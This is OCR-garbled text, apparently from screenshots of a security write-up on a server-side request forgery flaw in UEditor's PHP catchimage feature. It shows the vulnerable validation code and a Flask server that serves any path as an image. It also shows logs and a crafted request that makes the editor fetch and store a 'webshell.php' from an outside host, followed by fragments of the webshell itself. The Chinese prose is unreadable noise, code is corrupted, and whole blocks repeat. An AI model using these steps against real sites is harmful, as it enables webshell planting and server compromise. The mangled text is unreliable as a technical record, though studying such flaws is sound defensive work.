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EEEEE?:J\ZE%JCEQ /php/Uploader. class. php: 173

private function saveRemote()

{

$imgUrl = htmlspecialchars($this->fileField);

$imgUrl = str_replace("&", "&", $imgUrl);

//http IF LG iE
if (strpos($imgurl, "http") !== 0) {
$this->stateInfo = $this->getStateInfo("ERROR_HTTP_LINK");

return;

preg_match('/(~https*:\/\/[*:\/]+)/", $imgUrl, $matches);
$host_with_protocol = count($matches) > 1 ? $matches[1] : '';

/7 FIWHE AR EE url



if (!filter_var($host_with_protocol, FILTER_VALIDATE_URL)) {
$this->stateInfo = $this->getStateInfo("INVALID_URL");

return;

preg_match('/~https*:\/\/(.+)/"', $host_with_protocol, $matches);
$host_without_protocol = count($matches) > 1 ? $matches[1] : '';

/) MR R A BEAE ip A I REAA S, JERIR ip

$ip = gethostbyname($host_without_protocol);

1/ FIWET AR ip

if(!filter_var($ip, FILTER VALIDATE_IP, FILTER FLAG_NO_ PRIV RANGE)) {
$this->stateInfo = $this->getStateInfo("INVALID_IP");

return;

1/ KRR 42 AL

$heads = get_headers($imgUrl, 1);

if (!(stristr($heads[0], "200") && stristr($heads[0], "OK"))) {
$this->stateInfo = $this->getStateInfo("ERROR_DEAD_LINK");

return;

}
[/ 1EZCHHIE( 7S S EFlContent - Type 4 iiF)
$fileType = strtolower(strrchr($imgurl, '."));
if (!in_array($fileType, $this->config['allowFiles']) || !isset($heads['Content-Type']) ||
Istristr($heads['Content-Type'], "image")) {
$this->stateInfo = $this->getStateInfo("ERROR_HTTP_CONTENTTYPE");

return;

1/ FT T 28 X I SRR FE R
ob_start();
$context = stream_context_create(
array('http' => array(
'follow_location' => false // don't follow redirects
))
)s



readfile($imgUrl, false, $context);
$img = ob_get_contents();
ob_end_clean();
L
}
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$ sudo python -m SimpleHTTPServer 80
Password:
Serving HTTP on 0.0.0.0 port 80 ...
10.211.55.3 - - [28/0ct/2018 ©1:11:45] "GET /logo.png HTTP/1.Q0" 200 -

10.211.55.3 - - [28/0ct/2018 @1:11:56] "GET /?aaa=1 HTTP/1.0" 200 -
10.211.55.3 - - [28/0ct/2018 @1:12:05] "GET /?aaa=1&logo.png HTTP/1.0" 200 -
10.211.55.3 - - [28/0ct/2018 01:12:31] "GET /?aaa=1 HTTP/1.Q" 200 -
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lin_array($fileType, $this->config['allowFiles']) || !isset($heads['Content-Type']) ||
Istristr($heads['Content-Type'], "image")
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from flask import Flask, Response

from werkzeug.routing import BaseConverter

class Regex_url(BaseConverter):
def __init__ (self,url_map,*args):
super(Regex_url,self)._ init__ (url_map)
self.regex = args[0]

app = Flask(__name_ )

app.url_map.converters['re'] = Regex_url

@app.route('/<re(".*?"):tmp>")
def test(tmp):
image = 'Test'
#image = file("demo.jpg")
resp = Response(image, mimetype="image/jpeg")

return resp

if __name__ == '__main__":

app.run(host='0.0.0.0"',port=80)
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$ curl -v

*  Trying 127.0.0.1...

* TCP_NODELAY set

* Connected to 127.0.0.1 (127.0.0.1) port 80 (#0)
> GET /aa.php?asdasdjghl=3adsasd HTTP/1.1
> Host: 127.0.0.1

> User-Agent: curl/7.54.0

> Accept: */*

>

* HITP 1.9, assume _close after body

< HTTP/1.0 200 0K

< Content-Type: image/jpeg

< Content-Length: 4

< Server: Werkzeug/0.11.9 Python/2.7.12

< Date: Sun, 28 Oct 2018 10:26:55 GMT

<

* (losing connection @

Test%

— 13mdn@13mdndeMacBook-Pro  ~/I

[:13m@n@13rrﬁndeMacBook-Pro

$ sudo python ssrf_server.py

* Running on http://0.0.0.0:80/ (Press CTRL+C to quit)

127.0.0.1 - - [28/0ct/2018 18:25:56] "GET /aa.php?asdasdjghl=3adsasd HTTP/1.1" 200 -
127.0.0.1 - - [28/0ct/2018 18:26:55] "GET /aa.php?asdasdjghl=3adsasd HTTP/1.1" 200 -
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| TEREFEIMAT server, AINRIJIETIRIBK (GMN), ABAE=

[root@118 tools]# python3 ssrf_server.py
Serving Flask app "ssrf_server" (lazy loading)
Environment: production

Use a production WSGI server instead.

Debug mode: off
Running on htt .0

0/ (Press CTRL+C to quit)

111 1 .80 - - [29/0ct/2018 00:16:00] "GET /webshell.php?

HiTiask, HPUEESR dns E40E

IXIER (RK)

([ L3nereLindndedacBook-Pro
$ sudo python -m SimpleHTTPServer 80
Password:

Serving HTTP on 0.0.0.0 por
10.211.55.8 - - [29/0ct.

] "GET /webshell.php?a=18deno.png HTTP/1.0" 200 -

GET

/uedltor/uedltol/php/contloller php?action=catchimage&source[ J=http://.1
" #‘ s.wln.pw/webshell.php?a=1%26demo.png HTTP/1.1

Host: love lemon

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10_13_6)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100
safari/537.36

Accept:
text/html,application/xhtml+xml,application/xml;g=0.9,image/webp,image/ap
ng,*/*;q=0.8

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,zh-TW;q=0.7, ja;q=0.6

Cookie: mediawiki_1_31_mdUserName=Lemonabcd

Connection: close

HTTP/1.1 200 OK

Server: nginx/1.4.6 (Ubuntu)

Date: sun, 28 Oct 2018 16:15:59 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 447

Connection: close

X-Powered-By: PHP/5.5.9-lubuntu4.25
Vary: Accept-Encoding

<br />
<b>Notice</b>: date_default_timezone_set(): Timezone ID
'Asia/chongqing’ is invalid in

<b>/var/www/html/ueditor/ueditor/php/controller.php</b> on line
<b>4</b><br />

{"state":"SUCCEsSS", "list":[{"state":"SUCCESS","url":"\/ueditor\/php\/upl
oad\/image\/20181029\/1540743359441649.png", "size":1775, "title":"1540743
359441649.png", "original"”: "webshell.php?a=1&amp;demo.png", "source”: "http
t\/\/IMiff:df m.wln.pw\/webshell.php?a=1samp;demo.png”}]1}

H=2: ALURIEIREIRIE Attt BXREFEILSKEZEIRMN web BY ssrf BIIRMMN AZ




L$ curl -w http://love.lemon:82//ueditor//php//upload//image//20181029//1540743359441649. png| L4
Trying 10.211.55.4...

* TCP_NODELAY set

Connected to love.lemon (10.211.55.4) port 82 (#0)

GET //ueditor//php//upload//image//20181029//1540743359441649.png HTTP/1.1

Host: love.lemon:82

User-Agent: curl/7.54.0

Accept: */*

*

HTTP/1.1 200 OK

Server: nginx/1.4.6 (Ubuntu)

Date: Sun, 28 Oct 2018 16:18:43 GMT
Content-Type: image/png

Content-Length: 1775

Last-Modified: Sun, 28 Oct 2018 16:15:59 GMT
Connection: keep-alive

ETag: "Sbd5e@bf-6ef"

Accept-Ranges: bytes
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r.1=
error_reporting(@);
ignore_user_abort(true);
set_time_limit(@);
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action=catchimage&source[ ]=https://ss@.bdstatic.com/5aV1ibjgh_Q230dCf/static/superman/img/logo_top_86
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EEEEE%QEQ{%EQ /php/Uploader. class. php: 173

private function saveRemote()

{
$imgUrl
$imgUrl

htmlspecialchars($this->fileField);

str_replace("&", "&", $imgUrl);

//http IFL G i
if (strpos($imgUrl, "http") !== 0) {
$this->stateInfo = $this->getStateInfo("ERROR_HTTP_LINK");

return;

preg_match('/(*https*:\/\/[*:\/]+)/"', $imgUrl, $matches);
$host_with_protocol = count($matches) > 1 ? $matches[1] : '';

1/ FBE T url
if (!filter_var($host with_protocol, FILTER_VALIDATE_URL)) {
$this->stateInfo = $this->getStateInfo("INVALID_URL");

return;

preg_match('/~https*:\/\/(.+)/"', $host_with_protocol, $matches);
$host_without_protocol = count($matches) > 1 ? $matches[1] : '';

/) BERTERIR T AT EAE ip (4 FIREA2E A, JEIRIK ip

$ip = gethostbyname($host_without_protocol);

/) MR ERE ip

if(!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE)) {
$this->stateInfo = $this->getStateInfo("INVALID IP");

return;

1/ BRI M IL i

$heads = get_headers($imgurl, 1);

if (!(stristr($heads[0], "200") && stristr($heads[0], "OK"))) {
$this->stateInfo = $this->getStateInfo("ERROR_DEAD_LINK");



return;

}
1/ 1EZCHHIE( 7S S FlContent - Type 4 iiF)

$fileType = strtolower(strrchr($imgurl, '."));
if (!in_array($fileType, $this->config['allowFiles']) || !isset($heads['Content-Type']) ||

Istristr($heads['Content-Type'], "image")) {
$this->stateInfo = $this->getStateInfo("ERROR_HTTP_CONTENTTYPE");

return;

}

1/ 7T T 28 X I SRR FE A

ob_start();

$context = stream_context_create(
array('http' => array(

"follow_location' => false // don't follow redirects

))
)s
readfile($imgUrl, false, $context);
$img = ob_get_contents();
ob_end_clean();
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HLBapE XM ERE T HTTP 5K, FARLURE ZAIH T—EIE.
/editor/ueditor/php/controller.php?action=catchimage&source[]=http://my.ip/?aaa=1%261logo.png
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$ sudo python -m SimpleHTTPServer 80
Password:
Serving HTTP on ©.0.0.0 port 80 ...
10.211.55.3 - - [28/0ct/2018 ©@1:11:45] "GET /logo.png HTTP/1.0" 200 -

10.211.55.3 - - [28/0ct/2018 @1:11:56] "GET /7aaa=1 HTTP/1.Q" 200 -
10.211.55.3 - - [28/0ct/2018 @1:12:@5] "GET /?aaa=1&logo.png HTTP/1.0" 200 -
10.211.55.3 - - [28/0ct/2018 01:12:31] "GET /?aaa=1 HTTP/1.Q" 200 -

HEF'JEIEIP\JE state ?9 BifEcontentType AN IER %Eiﬁ*ﬁﬁl}]?l
ANERIREIA % 1p MZRZR DNS ESPERMESE—RENNM IP, XITHEERE— T 48EIF.

ERSR— R E: BEAFEIREE] SSRF 5K /EHIEZERZA!
B=MBEREATLUSE, FASKERNRTREFNE R, FABRENE R AZSEIA.

(BREI/IBETIREKRIRH S

I(stristr($heads[0], "200") && stristr($heads[0], "OK"))

lin_array($fileType, $this->config['allowFiles']) || !isset($heads['Content-Type']) ||
Istristr($heads['Content-Type'], "image")
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from flask import Flask, Response

from werkzeug.routing import BaseConverter

class Regex_url(BaseConverter):
def __init__(self,url_map,*args):
super(Regex_url,self).__init_ (url_map)
self.regex = args[0]

app = Flask(__name__)

app.url_map.converters['re'] = Regex_url

@app.route('/<re(".*?"):tmp>")
def test(tmp):
image = 'Test'
#image = file("demo.jpg")
resp = Response(image, mimetype="image/jpeg")

return resp

if _name__ == '_main__

app.run(host='0.0.0.0"',port=80)



J

$ curl -v

*  Trying 127.0.0.1...

* TCP_NODELAY set

* Connected to 127.0.0.1 (127.0.0.1) port 80 (#0)
> GET /aa.php?asdasdjghl=3adsasd HTTP/1.1
> Host: 127.0.0.1

> User-Agent: curl/7.54.0

> Accept: */*

>

* HITP 1.9, assume _close after body

< HTTP/1.0 200 0K

< Content-Type: image/jpeg

< Content-Length: 4

< Server: Werkzeug/0.11.9 Python/2.7.12

< Date: Sun, 28 Oct 2018 10:26:55 GMT

<

* (losing connection @

Test%

— 13mdn@13mdndeMacBook-Pro  ~/I

[:13m@n@13rrﬁndeMacBook-Pro

$ sudo python ssrf_server.py

* Running on http://0.0.0.0:80/ (Press CTRL+C to quit)

127.0.0.1 - - [28/0ct/2018 18:25:56] "GET /aa.php?asdasdjghl=3adsasd HTTP/1.1" 200 -
127.0.0.1 - - [28/0ct/2018 18:26:55] "GET /aa.php?asdasdjghl=3adsasd HTTP/1.1" 200 -

FEREE—LIBICHIIREA, BLE, BL DNS SEEEFM, SHHIENERER A
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 TEREFEIMNAT server, AIRRIETIXIBK (GMN), ABAE=

[root@118 tools]# python3 ssrf_server.py
Serving Flask app "ssrf_server" (lazy loading)
Environment: production

Use a production WSGI server instead.

Debug mode: off
Running on htt .0

0/ (Press CTRL+C to quit)

111 1 .80 - - [29/0ct/2018 00:16:00] "GET /webshell.php?

#HiTiask, HPUEESR dns E40E

IXIER (R)

([ L3nereLindndedacBook-Pro
$ sudo python -m SimpleHTTPServer 80
Password:

Serving HTTP on 0.0.0.0 por
10.211.55.8 - - [29/0ct.

] "GET /webshell.php?a=18deno.png HTTP/1.0" 200 -

GET

/uedltor/uedltol/php/contloller php?action=catchimage&source[ J=http://.1
" #‘ s.wln.pw/webshell.php?a=1%26demo.png HTTP/1.1

Host: love lemon

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10_13_6)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100
safari/537.36

Accept:
text/html,application/xhtml+xml,application/xml;g=0.9,image/webp,image/ap
ng,*/*;q=0.8

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,zh-TW;q=0.7, ja;q=0.6

Cookie: mediawiki_1_31_mdUserName=Lemonabcd

Connection: close

HTTP/1.1 200 OK

Server: nginx/1.4.6 (Ubuntu)

Date: sun, 28 Oct 2018 16:15:59 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 447

Connection: close

X-Powered-By: PHP/5.5.9-lubuntu4.25
Vary: Accept-Encoding

<br />
<b>Notice</b>: date_default_timezone_set(): Timezone ID
'Asia/chongqing’ is invalid in

<b>/var/www/html/ueditor/ueditor/php/controller.php</b> on line
<b>4</b><br />

{"state":"SUCCEsSS", "list":[{"state":"SUCCESS","url":"\/ueditor\/php\/upl
oad\/image\/20181029\/1540743359441649.png", "size":1775, "title":"1540743
359441649.png", "original"”: "webshell.php?a=1&amp;demo.png", "source”: "http
t\/\/IMiff:df m.wln.pw\/webshell.php?a=1samp;demo.png”}]1}

H=2: ALURIEIREIRIE Attt BXREFEILSKEZEIRMN web BY ssrf BIIRMMN AZ




L$ curl -w http://love.lemon:82//ueditor//php//upload//image//20181029//1540743359441649. png| L4
Trying 10.211.55.4...

* TCP_NODELAY set

Connected to love.lemon (10.211.55.4) port 82 (#0)

GET //ueditor//php//upload//image//20181029//1540743359441649.png HTTP/1.1

Host: love.lemon:82

User-Agent: curl/7.54.0

Accept: */*

*

HTTP/1.1 200 OK

Server: nginx/1.4.6 (Ubuntu)

Date: Sun, 28 Oct 2018 16:18:43 GMT
Content-Type: image/png

Content-Length: 1775

Last-Modified: Sun, 28 Oct 2018 16:15:59 GMT
Connection: keep-alive

ETag: "Sbd5e@bf-6ef"

Accept-Ranges: bytes
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r.1=
error_reporting(@);
ignore_user_abort(true);
set_time_limit(@);




